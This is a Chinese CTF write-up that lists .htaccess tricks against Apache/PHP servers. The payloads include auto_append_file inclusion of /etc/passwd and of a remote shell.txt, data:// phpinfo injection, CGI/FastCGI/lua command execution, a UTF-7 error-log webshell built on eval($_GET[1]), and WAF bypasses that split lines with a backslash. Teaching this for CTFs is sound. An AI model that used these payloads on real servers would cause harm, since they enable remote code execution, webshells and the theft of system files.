[CTF].htaccess的使用技巧总结

文章目录

  • 前言
  • .htaccess
    • 什么是htaccess文件
      • 简介
      • 其他
  • 常见使用方式
    • 自定义出错界面
    • SetHandler和ForceType
    • AddHandler
    • AddType
    • php_value
    • php_flag
  • Trick总结
    • 利用404页面
    • 文件包含
      • 本地文件包含
      • 远程文件包含
      • 可以利用伪协议
    • htaccess把自己指定当做 php文件处理
      • 当前目录下有php文件
      • 当前目录下无php文件
    • 文件解析配合一句话木马
    • Cgi执行
    • FastCgi执行
    • lua执行
    • 利用报错信息写马
    • 绕过exif_imagetype()上传.htaccess
    • \号绕过waf
    • \号绕过藏字符
  • 参考文章

前言

这周参加了津门杯,发现htaccess学的不深入,并且没有总结,我反思好吧

.htaccess

什么是htaccess文件

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

Eg:.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。(注意后面这个东西很重要)

其他

.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All

AllowOverride All  #启动.htaccess文件的使用

常见使用方式

自定义出错界面

我们可以使用.htaccess 创建自定义的出错页面。对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。(把.htaccess放在你的网站根目录下),这个在这次比赛当中Nu1l战队师傅用了,打call

ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

当时出flag是这样的


<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>

假设flag为flag{testflag}
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker

SetHandler和ForceType

强制所有匹配的文件被一个指定的处理器处理
用法

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

AddHandler

AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理

AddType

AddType 可以将给定的文件扩展名映射到指定的内容类型

AddType application/x-httpd-php .xxx 同上AddHandler的作用

php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php

在CTF当中的文件上传可以利用这个来实现传一句话木马

php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_prepend_file 2.txt 在主文件解析后自动解析1.txt的内容

刚刚看到网上师傅又说了,可以用来绕过preg_match,我们可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效

php_value pcre.backtrack_limit 0

当然还有设置其他方式,下面都是可以的,我们看官方配置,PCRE配置选项

名字 默认 可修改范围 更新日志
pcre.backtrack_limit 100000 PHP_INI_ALL php 5.2.0 起可用
pcre.recursion_limit 100000 PHP_INI_ALL php 5.2.0 起可用用
pcre.jit 1 PHP_INI_ALL PHP 7.0.0 起可用

设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。

php_flag

用 php_flag设置布尔值,可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

Trick总结

利用404页面

出flag是这样的


<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>

假设flag为flag{testflag}
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker

文件包含

本地文件包含

当前目录下php文件头引入/etc/passwd

php_value auto_append_file /etc/passwd

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置php_value include_path "xxx"将include()的默认路径改变

php_value include_path "xxx"

举个例子,也就会输出一个好东西



ini_set("include_path","../../../../../../../../");

include "etc/passwd";

远程文件包含

PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。设置好了以后

php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt

可以利用伪协议

需要all_url_fopenall_url_includeOn

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
或
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
或
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

htaccess把自己指定当做 php文件处理

当前目录下有php文件

php_value auto_append_file .htaccess
#

对于有过滤的情况我们前面说了可以使用\

php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

当前目录下无php文件

重点:需要先设置允许可访问 .htaccess 文件

<Files .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#

<FilesMatch .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_fi\
le .htaccess
#

或 将 .htaccess指定当做 php文件处理,一般不用这个感觉

SetHandler application/x-httpd-php
# 

文件解析配合一句话木马

<FilesMatch  "y4tacker">
SetHandler  application/x-httpd-php
//或ForceType application/x-httpd-php
</FilesMatch>

AddType application/x-httpd-php .txt

AddHandler php7-script .txt

Cgi执行

如果开启了cgi扩展,也可以来解析shell脚本,也就是说cgi_module 需要加载,即 apache 配置文件中有,如 apache2.conf中

LoadModule cgi_module modules/mod_cgi.so

.htaccess

Options +ExecCGI #允许CGI执行
AddHandler cgi-script .sh

再写个

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls /
exit 0

FastCgi执行

mod_fcgid.so需要被加载。即 apache2.conf中

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess

Options +ExecCGI
AddHandler fcgid-script .kk
FcgidWrapper "/bin/ls /" .kk

再写一个y4.kk 内容随意
就会执行上面内容

lua执行

来自feng师傅补充,2020年西湖论剑 newupload,当然肯定还有一堆各种各样脚本语言了,

AddHandler lua-script .lua

随便写一个lua文件

require "string"

function handle(r)
    r.content_type = "text/plain"
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)

    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

利用报错信息写马

首先写入.htaccess error_log相关的配置

php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

上面那些神奇字符是utf7编码,可以用下面的方式得到


$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=y4.txt"; //utf-16le编码写入文件

file_put_contents($filename, "");

或者

mb_convert_encoding('',"utf-7");

Step2 访问index.php留下error_log
Step3 写入.htaccess新的配置

php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"

Step4 再访问一次index.php?1=whoami

绕过exif_imagetype()上传.htaccess

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度,以像素为单位

#define width 20
#define height 10
xxxxxx

\号绕过waf

比如过滤了file,我们可以使用

php_value auto_prepend_fi\
le .htaccess
#

\号绕过藏字符

假设在写入文件同时后面默认加上file_put_contents($filename, $content . "\nhappy"),我们payload最后可以加上#\,#负责注释,

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
happy

\将注释符和脏字符连成一行,注释掉脏字符

参考文章

https://httpd.apache.org/docs/2.4/expr.html
https://xz.aliyun.com/t/8267
http://www.htaccess-guide.com/
https://www.anquanke.com/post/id/185377#h3-4

你可能感兴趣的:(安全学习,#,Web,#,Trick)